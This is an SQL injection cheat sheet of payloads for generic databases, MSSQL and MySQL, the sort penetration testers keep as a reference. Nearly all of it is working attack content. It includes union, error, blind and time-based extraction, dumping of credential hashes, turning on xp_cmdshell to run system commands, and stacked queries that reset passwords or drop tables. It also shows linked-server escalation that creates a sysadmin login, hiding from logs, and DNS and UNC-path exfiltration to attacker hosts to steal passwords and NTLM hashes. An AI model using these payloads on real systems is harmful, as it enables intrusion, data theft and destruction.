Generic SQL Injection

Generic SQL Injection Payloads
                    '
                    ''
                    `
                    ``
                    ,
                    "
                    ""
                    /
                    //
                    \
                    \\
                    ;
                    ' or "
                    -- or # 
                    ' OR '1
                    ' OR 1 -- -
                    " OR "" = "
                    " OR 1 = 1 -- -
                    ' OR '' = '
                    '='
                    'LIKE'
                    '=0--+
                     OR 1=1
                    ' OR 'x'='x
                    ' AND id IS NULL; --
                    '''''''''''''UNION SELECT '2
                    %00
                    /*…*/ 
                    +		addition, concatenate (or space in url)
                    ||		(double pipe) concatenate
                    %		wildcard attribute indicator
                    
                    @variable	local variable
                    @@variable	global variable
                    
                    
                    # Numeric
                    AND 1
                    AND 0
                    AND true
                    AND false
                    1-false
                    1-true
                    1*56
                    -2
                    
                    
                    1' ORDER BY 1--+
                    1' ORDER BY 2--+
                    1' ORDER BY 3--+
                    
                    1' ORDER BY 1,2--+
                    1' ORDER BY 1,2,3--+
                    
                    1' GROUP BY 1,2,--+
                    1' GROUP BY 1,2,3--+
                    ' GROUP BY columnnames having 1=1 --
                    
                    
                    -1' UNION SELECT 1,2,3--+
                    ' UNION SELECT sum(columnname ) from tablename --
                    
                    
                    -1 UNION SELECT 1 INTO @,@
                    -1 UNION SELECT 1 INTO @,@,@
                    
                    1 AND (SELECT * FROM Users) = 1	
                    
                    ' AND MID(VERSION(),1,1) = '5';
                    
                    ' and 1 in (select min(name) from sysobjects where xtype = 'U' and name > '.') --
                    
                    
                    Finding the table name
                    
                    
                    Time-Based:
                    ,(select * from (select(sleep(10)))a)
                    %2c(select%20*%20from%20(select(sleep(10)))a)
                    ';WAITFOR DELAY '0:0:30'--
                    
                    Comments:
                    
                    #	    Hash comment
                    /*  	C-style comment
                    -- -	SQL comment
                    ;%00	Nullbyte
                    `	    Backtick
                
Error Based SQL Injection Payloads
                        OR 1=1
 OR 1=0
 OR x=x
 OR x=y
 OR 1=1#
 OR 1=0#
 OR x=x#
 OR x=y#
 OR 1=1-- 
 OR 1=0-- 
 OR x=x-- 
 OR x=y-- 
 OR 3409=3409 AND ('pytW' LIKE 'pytW
 OR 3409=3409 AND ('pytW' LIKE 'pytY
 HAVING 1=1
 HAVING 1=0
 HAVING 1=1#
 HAVING 1=0#
 HAVING 1=1-- 
 HAVING 1=0-- 
 AND 1=1
 AND 1=0
 AND 1=1-- 
 AND 1=0-- 
 AND 1=1#
 AND 1=0#
 AND 1=1 AND '%'='
 AND 1=0 AND '%'='
 AND 1083=1083 AND (1427=1427
 AND 7506=9091 AND (5913=5913
 AND 1083=1083 AND ('1427=1427
 AND 7506=9091 AND ('5913=5913
 AND 7300=7300 AND 'pKlZ'='pKlZ
 AND 7300=7300 AND 'pKlZ'='pKlY
 AND 7300=7300 AND ('pKlZ'='pKlZ
 AND 7300=7300 AND ('pKlZ'='pKlY
 AS INJECTX WHERE 1=1 AND 1=1
 AS INJECTX WHERE 1=1 AND 1=0
 AS INJECTX WHERE 1=1 AND 1=1#
 AS INJECTX WHERE 1=1 AND 1=0#
 AS INJECTX WHERE 1=1 AND 1=1--
 AS INJECTX WHERE 1=1 AND 1=0--
 WHERE 1=1 AND 1=1
 WHERE 1=1 AND 1=0
 WHERE 1=1 AND 1=1#
 WHERE 1=1 AND 1=0#
 WHERE 1=1 AND 1=1--
 WHERE 1=1 AND 1=0--
 ORDER BY 1-- 
 ORDER BY 31337-- 
 ORDER BY 1# 
 ORDER BY 31337#
 ORDER BY 1 
 ORDER BY 31337 
 RLIKE (SELECT (CASE WHEN (4346=4346) THEN 0x61646d696e ELSE 0x28 END)) AND 'Txws'='
 RLIKE (SELECT (CASE WHEN (4346=4347) THEN 0x61646d696e ELSE 0x28 END)) AND 'Txws'='
IF(7423=7424) SELECT 7423 ELSE DROP FUNCTION xcjl--
IF(7423=7423) SELECT 7423 ELSE DROP FUNCTION xcjl--
%' AND 8310=8310 AND '%'='
%' AND 8310=8311 AND '%'='
 and (select substring(@@version,1,1))='X'
 and (select substring(@@version,1,1))='M'
 and (select substring(@@version,2,1))='i'
 and (select substring(@@version,2,1))='y'
 and (select substring(@@version,3,1))='c'
 and (select substring(@@version,3,1))='S'
 and (select substring(@@version,3,1))='X'
                    
Time Based SQL Injection Payloads
                        # from wapiti
sleep(5)#
1 or sleep(5)#
" or sleep(5)#
' or sleep(5)#
" or sleep(5)="
' or sleep(5)='
1) or sleep(5)#
") or sleep(5)="
') or sleep(5)='
1)) or sleep(5)#
")) or sleep(5)="
')) or sleep(5)='
;waitfor delay '0:0:5'--
);waitfor delay '0:0:5'--
';waitfor delay '0:0:5'--
";waitfor delay '0:0:5'--
');waitfor delay '0:0:5'--
");waitfor delay '0:0:5'--
));waitfor delay '0:0:5'--
'));waitfor delay '0:0:5'--
"));waitfor delay '0:0:5'--
benchmark(10000000,MD5(1))#
1 or benchmark(10000000,MD5(1))#
" or benchmark(10000000,MD5(1))#
' or benchmark(10000000,MD5(1))#
1) or benchmark(10000000,MD5(1))#
") or benchmark(10000000,MD5(1))#
') or benchmark(10000000,MD5(1))#
1)) or benchmark(10000000,MD5(1))#
")) or benchmark(10000000,MD5(1))#
')) or benchmark(10000000,MD5(1))#
pg_sleep(5)--
1 or pg_sleep(5)--
" or pg_sleep(5)--
' or pg_sleep(5)--
1) or pg_sleep(5)--
") or pg_sleep(5)--
') or pg_sleep(5)--
1)) or pg_sleep(5)--
")) or pg_sleep(5)--
')) or pg_sleep(5)--
AND (SELECT * FROM (SELECT(SLEEP(5)))bAKL) AND 'vRxe'='vRxe
AND (SELECT * FROM (SELECT(SLEEP(5)))YjoC) AND '%'='
AND (SELECT * FROM (SELECT(SLEEP(5)))nQIP)
AND (SELECT * FROM (SELECT(SLEEP(5)))nQIP)--
AND (SELECT * FROM (SELECT(SLEEP(5)))nQIP)#
SLEEP(5)#
SLEEP(5)--
SLEEP(5)="
SLEEP(5)='
or SLEEP(5)
or SLEEP(5)#
or SLEEP(5)--
or SLEEP(5)="
or SLEEP(5)='
waitfor delay '00:00:05'
waitfor delay '00:00:05'--
waitfor delay '00:00:05'#
benchmark(50000000,MD5(1))
benchmark(50000000,MD5(1))--
benchmark(50000000,MD5(1))#
or benchmark(50000000,MD5(1))
or benchmark(50000000,MD5(1))--
or benchmark(50000000,MD5(1))#
pg_SLEEP(5)
pg_SLEEP(5)--
pg_SLEEP(5)#
or pg_SLEEP(5)
or pg_SLEEP(5)--
or pg_SLEEP(5)#
'\"
AnD SLEEP(5)
AnD SLEEP(5)--
AnD SLEEP(5)#
&&SLEEP(5)
&&SLEEP(5)--
&&SLEEP(5)#
' AnD SLEEP(5) ANd '1
'&&SLEEP(5)&&'1
ORDER BY SLEEP(5)
ORDER BY SLEEP(5)--
ORDER BY SLEEP(5)#
(SELECT * FROM (SELECT(SLEEP(5)))ecMj)
(SELECT * FROM (SELECT(SLEEP(5)))ecMj)#
(SELECT * FROM (SELECT(SLEEP(5)))ecMj)--
+benchmark(3200,SHA1(1))+'
+ SLEEP(10) + '
RANDOMBLOB(500000000/2)
AND 2947=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(500000000/2))))
OR 2947=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(500000000/2))))
RANDOMBLOB(1000000000/2)
AND 2947=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))
OR 2947=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))
SLEEP(1)/*' or SLEEP(1) or '" or SLEEP(1) or "*/
                    
 

MSSQL SQL Injection

MSSQL Default Databases

Name Description
pubs Not available on MSSQL 2005
model Available in all versions
msdb Available in all versions
tempdb Available in all versions
northwind Available in all versions
information_schema Availalble from MSSQL 2000 and higher

MSSQL Comments

Type Description
/* MSSQL Comment */ C-style comment
-- - SQL comment
;%00 Null byte
MSSQL User
                        SELECT CURRENT_USER;
                        SELECT user_name();
                        SELECT system_user;
                        SELECT user;
                        
MSSQL Version
                        SELECT @@version
                        
MSSQL Hostname
                        SELECT HOST_NAME()
                        SELECT @@hostname
                        SELECT @@SERVERNAME
                        SELECT SERVERPROPERTY('productversion')
                        SELECT SERVERPROPERTY('productlevel')
                        SELECT SERVERPROPERTY('edition');
                        
MSSQL Database name
                        SELECT DB_NAME()
                        
MSSQL Database Credentials - MSSQL 2000: Hashcat mode 131
                            SELECT name, password FROM master..sysxlogins
                            SELECT name, master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins
                            -- Need to convert to hex to return hashes in MSSQL error message / some version of query analyzer
                        
MSSQL Database Credentials - MSSQL 2005: Hashcat mode 132
                            SELECT name, password_hash FROM master.sys.sql_logins
                            SELECT name + '-' + master.sys.fn_varbintohexstr(password_hash) from master.sys.sql_logins
                        
MSSQL List databases
                    SELECT name FROM master..sysdatabases;
                    SELECT DB_NAME(N); — for N = 0, 1, 2, …
                    SELECT STRING_AGG(name, ', ') FROM master..sysdatabases; -- Change delimeter value such as ', ' to
                    anything else you want => master, tempdb, model, msdb (Only works in MSSQL 2017+)
                        
MSSQL List columns
                    SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = ‘mytable’); — for the
                    current DB only

                    SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns,
                    master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND
                    master..sysobjects.name=’sometable’; — list colum names and types for master..sometable

                    SELECT table_catalog, column_name FROM information_schema.columns
                        
MSSQL List tables
                    SELECT name FROM master..sysobjects WHERE xtype = ‘U’; — use xtype = ‘V’ for views
                    SELECT name FROM someotherdb..sysobjects WHERE xtype = ‘U’;
                    SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns,
                    master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND
                    master..sysobjects.name=’sometable’; — list colum names and types for master..sometable

                    SELECT table_catalog, table_name FROM information_schema.columns
                    SELECT STRING_AGG(name, ', ') FROM master..sysobjects WHERE xtype = 'U'; -- Change delimeter value
                    such
                    as ', ' to anything else you want => trace_xe_action_map, trace_xe_event_map, spt_fallback_db,
                    spt_fallback_dev, spt_fallback_usg, spt_monitor, MSreplication_options (Only works in MSSQL 2017+)
                        
MSSQL Union Based
                    -- extract databases names
                    $ SELECT name FROM master..sysdatabases
                    [*] Injection
                    [*] msdb
                    [*] tempdb

                    -- extract tables from Injection database
                    $ SELECT name FROM Injection..sysobjects WHERE xtype = 'U'
                    [*] Profiles
                    [*] Roles
                    [*] Users

                    -- extract columns for the table Users
                    $ SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = 'Users')
                    [*] UserId
                    [*] UserName

                    -- Finally extract the data
                    $ SELECT UserId, UserName from Users
                        
MSSQL Error based
                    For integer inputs : convert(int,@@version)
                    For integer inputs : cast((SELECT @@version) as int)

                    For string inputs : ' + convert(int,@@version) + '
                    For string inputs : ' + cast((SELECT @@version) as int) + '
                        
MSSQL Blind based
                    AND LEN(SELECT TOP 1 username FROM tblusers)=5 ; -- -

                    AND ASCII(SUBSTRING(SELECT TOP 1 username FROM tblusers),1,1)=97
                    AND UNICODE(SUBSTRING((SELECT 'A'),1,1))>64--
                    AND SELECT SUBSTRING(table_name,1,1) FROM information_schema.tables > 'A'

                    AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)>90

                    SELECT @@version WHERE @@version LIKE '%12.0.2000.8%'

                    WITH data AS (SELECT (ROW_NUMBER() OVER (ORDER BY message)) as row,* FROM log_table)
                    SELECT message FROM data WHERE row = 1 and message like 't%'
                        
MSSQL Time based
                    ProductID=1;waitfor delay '0:0:10'--
                    ProductID=1);waitfor delay '0:0:10'--
                    ProductID=1';waitfor delay '0:0:10'--
                    ProductID=1');waitfor delay '0:0:10'--
                    ProductID=1));waitfor delay '0:0:10'--

                    IF([INFERENCE]) WAITFOR DELAY '0:0:[SLEEPTIME]'
                    IF 1=1 WAITFOR DELAY '0:0:5' ELSE WAITFOR DELAY '0:0:0';
                        
MSSQL Stacked Query
                    Without any statement terminator

                    -- multiple SELECT statements
                    SELECT 'A'SELECT 'B'SELECT 'C'

                    -- updating password with a stacked query
                    SELECT id, username, password FROM users WHERE username =
                    'admin'exec('update[users]set[password]=''a''')--

                    -- using the stacked query to enable xp_cmdshell
                    -- you won't have the output of the query, redirect it to a file
                    SELECT id, username, password FROM users WHERE username = 'admin'exec('sp_configure''show advanced
                    option'',''1''reconfigure')exec('sp_configure''xp_cmdshell'',''1''reconfigure')--
                    
                    Use a semi-colon ";" to add another query

                    ProductID=1; DROP members--
                        
MSSQL Read file
                    Permissions: The BULK option requires the ADMINISTER BULK OPERATIONS or the ADMINISTER DATABASE BULK
                    OPERATIONS permission.

                    -1 union select null,(select x from OpenRowset(BULK 'C:\Windows\win.ini',SINGLE_CLOB)
                    R(x)),null,null
                        
MSSQL Command execution
                    EXEC xp_cmdshell "net user";
                    EXEC master.dbo.xp_cmdshell 'cmd.exe dir c:';
                    EXEC master.dbo.xp_cmdshell 'ping 127.0.0.1';
                    
                    If you need to reactivate xp_cmdshell (disabled by default in SQL Server 2005)

                    EXEC sp_configure 'show advanced options',1;
                    RECONFIGURE;
                    EXEC sp_configure 'xp_cmdshell',1;
                    RECONFIGURE;
                    
                    To interact with the MSSQL instance.

                    sqsh -S 192.168.1.X -U sa -P superPassword
                    python mssqlclient.py WORKGROUP/Administrator:password@192.168.1X -port 46758
                    Execute Python script

                    Executed by a different user than the one using xp_cmdshell to execute commands

                    #Print the user being used (and execute commands)
                    EXECUTE sp_execute_external_script @language = N'Python', @script =
                    N'print(__import__("getpass").getuser())'
                    EXECUTE sp_execute_external_script @language = N'Python', @script =
                    N'print(__import__("os").system("whoami"))'
                    #Open and read a file
                    EXECUTE sp_execute_external_script @language = N'Python', @script =
                    N'print(open("C:\\inetpub\\wwwroot\\web.config", "r").read())'
                    #Multiline
                    EXECUTE sp_execute_external_script @language = N'Python', @script = N'
                    import sys
                    print(sys.version)
                    '
                    GO
                        
Out of band - MSSQL DNS exfiltration
                    Technique from https://twitter.com/ptswarm/status/1313476695295512578/photo/1

                    # Permissions: Requires VIEW SERVER STATE permission on the server.
                    1 and exists(select * from fn_xe_file_target_read_file('C:\*.xel','\\'%2b(select pass from users
                    where
                    id=1)%2b'.xxxx.burpcollaborator.net\1.xem',null,null))

                    # Permissions: Requires the CONTROL SERVER permission.
                    1 (select 1 where exists(select * from fn_get_audit_file('\\'%2b(select pass from users where
                    id=1)%2b'.xxxx.burpcollaborator.net\',default,default)))
                    1 and exists(select * from fn_trace_gettable('\\'%2b(select pass from users where
                    id=1)%2b'.xxxx.burpcollaborator.net\1.trc',default))
                        
Out of band - MSSQL UNC Path
                    MSSQL supports stacked queries so we can create a variable pointing to our IP address then use the
                    xp_dirtree function to list the files in our SMB share and grab the NTLMv2 hash.

                    1'; use master; exec xp_dirtree '\\10.10.15.XX\SHARE';--
                    xp_dirtree '\\attackerip\file'
                    xp_fileexist '\\attackerip\file'
                    BACKUP LOG [TESTING] TO DISK = '\\attackerip\file'
                    BACKUP DATABASE [TESTING] TO DISK = '\\attackeri\file'
                    RESTORE LOG [TESTING] FROM DISK = '\\attackerip\file'
                    RESTORE DATABASE [TESTING] FROM DISK = '\\attackerip\file'
                    RESTORE HEADERONLY FROM DISK = '\\attackerip\file'
                    RESTORE FILELISTONLY FROM DISK = '\\attackerip\file'
                    RESTORE LABELONLY FROM DISK = '\\attackerip\file'
                    RESTORE REWINDONLY FROM DISK = '\\attackerip\file'
                    RESTORE VERIFYONLY FROM DISK = '\\attackerip\file'
                        
MSSQL Make user DBA (DB admin)
                    EXEC master.dbo.sp_addsrvrolemember 'user', 'sysadmin;
                        
MSSQL Trusted Links
                    The links between databases work even across forest trusts.

                    msf> use exploit/windows/mssql/mssql_linkcrawler
                    [msf> set DEPLOY true] #Set DEPLOY to true if you want to abuse the privileges to obtain a
                    meterpreter
                    sessio
                    
                    Manual exploitation

                    -- find link
                    select * from master..sysservers

                    -- execute query through the link
                    select * from openquery("dcorp-sql1", 'select * from master..sysservers')
                    select version from openquery("linkedserver", 'select @@version as version');

                    -- chain multiple openquery
                    select version from openquery("link1",'select version from openquery("link2","select @@version as
                    version")')

                    -- execute shell commands
                    EXECUTE('sp_configure ''xp_cmdshell'',1;reconfigure;') AT LinkedServer
                    select 1 from openquery("linkedserver",'select 1;exec master..xp_cmdshell "dir c:"')

                    -- create user and give admin privileges
                    EXECUTE('EXECUTE(''CREATE LOGIN hacker WITH PASSWORD = ''''P@ssword123.'''' '') AT
                    "DOMINIO\SERVER1"')
                    AT "DOMINIO\SERVER2"
                    EXECUTE('EXECUTE(''sp_addsrvrolemember ''''hacker'''' , ''''sysadmin'''' '') AT "DOMINIO\SERVER1"')
                    AT
                    "DOMINIO\SERVER2"
                        
List permissions
                    Listing effective permissions of current user on the server.

                    SELECT * FROM fn_my_permissions(NULL, 'SERVER');
                    Listing effective permissions of current user on the database.

                    SELECT * FROM fn_my_permissions (NULL, 'DATABASE');
                    Listing effective permissions of current user on a view.

                    SELECT * FROM fn_my_permissions('Sales.vIndividualCustomer', 'OBJECT') ORDER BY subentity_name,
                    permission_name;
                    Check if current user is a member of the specified server role.

                    -- possible roles: sysadmin, serveradmin, dbcreator, setupadmin, bulkadmin, securityadmin,
                    diskadmin,
                    public, processadmin
                    SELECT is_srvrolemember('sysadmin');
                        
MSSQL OPSEC
                    Use SP_PASSWORD in a query to hide from the logs like : ' AND 1=1--sp_password

                    -- 'sp_password' was found in the text of this event.
                    -- The text has been replaced with this comment for security reasons.
                        
 

MySQL SQL Injection

MSSQL Default Databases

Name Description
mysql Requires root privileges
information_schema Availalble from version 5 and higher

MySQL Comments

Type Description
# Hash comment
/* MYSQL Comment */ C-style comment
/*! MYSQL Special SQL */ Special SQL
/*!32302 10*/ Comment for MYSQL version 3.23.02
-- - SQL comment
;%00 Nullbyte
` Backtick
MYSQL Testing Injection
                        Strings: Query like SELECT * FROM Table WHERE id = 'FUZZ';
                        '	False
                        ''	True
                        "	False
                        ""	True
                        \	False
                        \\	True

                        Numeric: Query like SELECT * FROM Table WHERE id = FUZZ;                     
                        AND 1	    True
                        AND 0	    False
                        AND true	True
                        AND false	False
                        1-false	    Returns 1 if vulnerable
                        1-true	    Returns 0 if vulnerable
                        1*56	    Returns 56 if vulnerable
                        1*56	    Returns 1 if not vulnerable
                        
                        Login: Query like SELECT * FROM Users WHERE username = 'FUZZ1' AND password = 'FUZZ2';    
                        ' OR '1
                        ' OR 1 -- -
                        " OR "" = "
                        " OR 1 = 1 -- -
                        '='
                        'LIKE'
                        '=0--+
                        
                    
MYSQL Union Based
                        Detect columns number 

                        Using order by or group by
                        Keep incrementing the number until you get a False response. Even though GROUP BY and ORDER BY have different funcionality in SQL, they both can be used in the exact same fashion to determine the number of columns in the query.
                        
                        1' ORDER BY 1--+	#True
                        1' ORDER BY 2--+	#True
                        1' ORDER BY 3--+	#True
                        1' ORDER BY 4--+	#False - Query is only using 3 columns
                                         #-1' UNION SELECT 1,2,3--+	True

                        or
                        
                        1' GROUP BY 1--+	#True
                        1' GROUP BY 2--+	#True
                        1' GROUP BY 3--+	#True
                        1' GROUP BY 4--+	#False - Query is only using 3 columns
                                         #-1' UNION SELECT 1,2,3--+	True
                    

                        Using order by or group by Error Based
                        Similar to the previous method, we can check the number of columns with 1 request if error showing is enabled.
                        
                        1' ORDER BY 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100--+
                        
                        # Unknown column '4' in 'order clause'
                        # This error means query uses 3 column
                        #-1' UNION SELECT 1,2,3--+	True

                        or
                        
                        1' GROUP BY 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100--+
                        
                        # Unknown column '4' in 'group statement'
                        # This error means query uses 3 column
                        #-1' UNION SELECT 1,2,3--+	True
                    

                       Using UNION SELECT Error Based 
                        This method works if error showing is enabled
                        
                        1' UNION SELECT @--+            #The used SELECT statements have a different number of columns
                        1' UNION SELECT @,@--+        #The used SELECT statements have a different number of columns
                        1' UNION SELECT @,@,@--+    #No error means query uses 3 column
                                                 #-1' UNION SELECT 1,2,3--+	True
                        
                       Using LIMIT INTO Error Based
                        This method works if error showing is enabled.
                        It is useful for finding the number of columns when the injection point is after a LIMIT clause.
                        
                        1' LIMIT 1,1 INTO @--+            #The used SELECT statements have a different number of columns
                        1' LIMIT 1,1 INTO @,@--+        #The used SELECT statements have a different number of columns
                        1' LIMIT 1,1 INTO @,@,@--+    #No error means query uses 3 column
                                                   #-1' UNION SELECT 1,2,3--+	True
                        
                        Using SELECT * FROM SOME_EXISTING_TABLE Error Based
                        This works if you know the table name you're after and error showing is enabled.
                        It will return the amount of columns in the table, not the query.
                        
                        1' AND (SELECT * FROM Users) = 1--+ 	#Operand should contain 3 column(s)
                                                            # This error means query uses 3 column
                                                            #-1' UNION SELECT 1,2,3--+	True
                    
                        Extract database with information_schema
                        Then the following codes will extract the databases'name, tables'name, columns'name.
                        
                        UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,schema_name,0x7c)+fRoM+information_schema.schemata
                        UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,table_name,0x7C)+fRoM+information_schema.tables+wHeRe+table_schema=...
                        UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,column_name,0x7C)+fRoM+information_schema.columns+wHeRe+table_name=...
                        UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+...
                    
                        Extract columns name without information_schema
                        Method for MySQL >= 4.1.
                        
                        First extract the column number with
                        
                        ?id=(1)and(SELECT * from db.users)=(1)
                        -- Operand should contain 4 column(s)
                        
                        Then extract the column name.
                        
                        ?id=1 and (1,2,3,4) = (SELECT * from db.users UNION SELECT 1,2,3,4 LIMIT 1)
                        --Column 'id' cannot be null
                        
                        Method for MySQL 5
                        
                        -1 UNION SELECT * FROM (SELECT * FROM users JOIN users b)a
                        --#1060 - Duplicate column name 'id'
                        
                        -1 UNION SELECT * FROM (SELECT * FROM users JOIN users b USING(id))a
                        -- #1060 - Duplicate column name 'name'
                        
                        -1 UNION SELECT * FROM (SELECT * FROM users JOIN users b USING(id,name))a
                        ...
                        
                        Extract data without columns name
                        Extracting data from the 4th column without knowing its name.
                        
                        select `4` from (select 1,2,3,4,5,6 union select * from users)dbname;
                        Injection example inside the query select author_id,title from posts where author_id=[INJECT_HERE]
                        
                        MariaDB [dummydb]> select author_id,title from posts where author_id=-1 union select 1,(select concat(`3`,0x3a,`4`) from (select 1,2,3,4,5,6 union select * from users)a limit 1,1);
                        +-----------+-----------------------------------------------------------------+
                        | author_id | title                                                           |
                        +-----------+-----------------------------------------------------------------+
                        |         1 | a45d4e080fc185dfa223aea3d0c371b6cc180a37:veronica80@example.org |
                        +-----------+-----------------------------------------------------------------+
                    
MYSQL Error Based
                        MYSQL Error Based - Basic
Works with MySQL >= 4.1

(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
'+(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'

MYSQL Error Based - UpdateXML function
AND updatexml(rand(),concat(CHAR(126),version(),CHAR(126)),null)-
AND updatexml(rand(),concat(0x3a,(SELECT concat(CHAR(126),schema_name,CHAR(126)) FROM information_schema.schemata LIMIT data_offset,1)),null)--
AND updatexml(rand(),concat(0x3a,(SELECT concat(CHAR(126),TABLE_NAME,CHAR(126)) FROM information_schema.TABLES WHERE table_schema=data_column LIMIT data_offset,1)),null)--
AND updatexml(rand(),concat(0x3a,(SELECT concat(CHAR(126),column_name,CHAR(126)) FROM information_schema.columns WHERE TABLE_NAME=data_table LIMIT data_offset,1)),null)--
AND updatexml(rand(),concat(0x3a,(SELECT concat(CHAR(126),data_info,CHAR(126)) FROM data_table.data_column LIMIT data_offset,1)),null)--
Shorter to read:

' and updatexml(null,concat(0x0a,version()),null)-- -
' and updatexml(null,concat(0x0a,(select table_name from information_schema.tables where table_schema=database() LIMIT 0,1)),null)-- -

MYSQL Error Based - Extractvalue function
Works with MySQL >= 5.1

?id=1 AND extractvalue(rand(),concat(CHAR(126),version(),CHAR(126)))--
?id=1 AND extractvalue(rand(),concat(0x3a,(SELECT concat(CHAR(126),schema_name,CHAR(126)) FROM information_schema.schemata LIMIT data_offset,1)))--
?id=1 AND extractvalue(rand(),concat(0x3a,(SELECT concat(CHAR(126),TABLE_NAME,CHAR(126)) FROM information_schema.TABLES WHERE table_schema=data_column LIMIT data_offset,1)))--
?id=1 AND extractvalue(rand(),concat(0x3a,(SELECT concat(CHAR(126),column_name,CHAR(126)) FROM information_schema.columns WHERE TABLE_NAME=data_table LIMIT data_offset,1)))--
?id=1 AND extractvalue(rand(),concat(0x3a,(SELECT concat(CHAR(126),data_info,CHAR(126)) FROM data_table.data_column LIMIT data_offset,1)))--

MYSQL Error Based - NAME_CONST function (only for constants)
Works with MySQL >= 5.0

?id=1 AND (SELECT * FROM (SELECT NAME_CONST(version(),1),NAME_CONST(version(),1)) as x)--
?id=1 AND (SELECT * FROM (SELECT NAME_CONST(user(),1),NAME_CONST(user(),1)) as x)--
?id=1 AND (SELECT * FROM (SELECT NAME_CONST(database(),1),NAME_CONST(database(),1)) as x)--
                    
MYSQL Blind
                        MYSQL Blind with substring equivalent
                        ?id=1 and substring(version(),1,1)=5
                        ?id=1 and right(left(version(),1),1)=5
                        ?id=1 and left(version(),1)=4
                        ?id=1 and ascii(lower(substr(Version(),1,1)))=51
                        ?id=1 and (select mid(version(),1,1)=4)
                        ?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables > 'A'
                        ?id=1 AND SELECT SUBSTR(column_name,1,1) FROM information_schema.columns > 'A'
                        
                        MySQL Blind SQL Injection in ORDER BY clause using a binary query and REGEXP
                        This query basically orders by one column or the other, depending on whether the EXISTS() returns a 1 or not. For the EXISTS() function to return a 1, the REGEXP query needs to match up, this means you can bruteforce blind values character by character and leak data from the database without direct output.
                        
                        [...] ORDER BY (SELECT (CASE WHEN EXISTS(SELECT [COLUMN] FROM [TABLE] WHERE [COLUMN] REGEXP "^[BRUTEFORCE CHAR BY CHAR].*" AND [FURTHER OPTIONS / CONDITIONS]) THEN [ONE COLUMN TO ORDER BY] ELSE [ANOTHER COLUMN TO ORDER BY] END)); -- -
                        
                        MySQL Blind SQL Injection binary query using REGEXP
                        Payload:
                        
                        ' OR (SELECT (CASE WHEN EXISTS(SELECT name FROM items WHERE name REGEXP "^a.*") THEN SLEEP(3) ELSE 1 END)); -- -
                        Would work in the query (where the "where" clause is the injection point):
                        
                        SELECT name,price FROM items WHERE name = '' OR (SELECT (CASE WHEN EXISTS(SELECT name FROM items WHERE name REGEXP "^a.*") THEN SLEEP(3) ELSE 1 END)); -- -';
                        In said query, it will check to see if an item exists in the "name" column in the "items" database that starts with an "a". If it will sleep for 3 seconds per item.
                        
                        MYSQL Blind using a conditional statement
                        TRUE: if @@version starts with a 5:
                        2100935' OR IF(MID(@@version,1,1)='5',sleep(1),1)='2
                        Response:
                        HTTP/1.1 500 Internal Server Error
                        
                        False: if @@version starts with a 4:
                        2100935' OR IF(MID(@@version,1,1)='4',sleep(1),1)='2
                        Response:
                        HTTP/1.1 200 OK
                        
                        MYSQL Blind with MAKE_SET
                        AND MAKE_SET(YOLO<(SELECT(length(version()))),1)
                        AND MAKE_SET(YOLO<ascii(substring(version(),POS,1)),1)
                        AND MAKE_SET(YOLO<(SELECT(length(concat(login,password)))),1)
                        AND MAKE_SET(YOLO<ascii(substring(concat(login,password),POS,1)),1)
                        
                        MYSQL Blind with LIKE
                        '_' acts like the regex character '.', use it to speed up your blind testing
                        
                        SELECT cust_code FROM customer WHERE cust_name LIKE 'k__l';
                        SELECT * FROM products WHERE product_name LIKE '%user_input%'
                        
                    
MYSQL Time Based
                        The following SQL codes will delay the output from MySQL.

MySQL 4/5 : BENCHMARK()
+BENCHMARK(40000000,SHA1(1337))+
'%2Bbenchmark(3200,SHA1(1))%2B'
AND [RANDNUM]=BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))  //SHA1

MySQL 5: SLEEP()
RLIKE SLEEP([SLEEPTIME])
OR ELT([RANDNUM]=[RANDNUM],SLEEP([SLEEPTIME]))
                    
Using SLEEP in a subselect
                        1 and (select sleep(10) from dual where database() like '%')#
                        1 and (select sleep(10) from dual where database() like '___')# 
                        1 and (select sleep(10) from dual where database() like '____')#
                        1 and (select sleep(10) from dual where database() like '_____')#
                        1 and (select sleep(10) from dual where database() like 'a____')#
                        ...
                        1 and (select sleep(10) from dual where database() like 's____')#
                        1 and (select sleep(10) from dual where database() like 'sa___')#
                        ...
                        1 and (select sleep(10) from dual where database() like 'sw___')#
                        1 and (select sleep(10) from dual where database() like 'swa__')#
                        1 and (select sleep(10) from dual where database() like 'swb__')#
                        1 and (select sleep(10) from dual where database() like 'swi__')#
                        ...
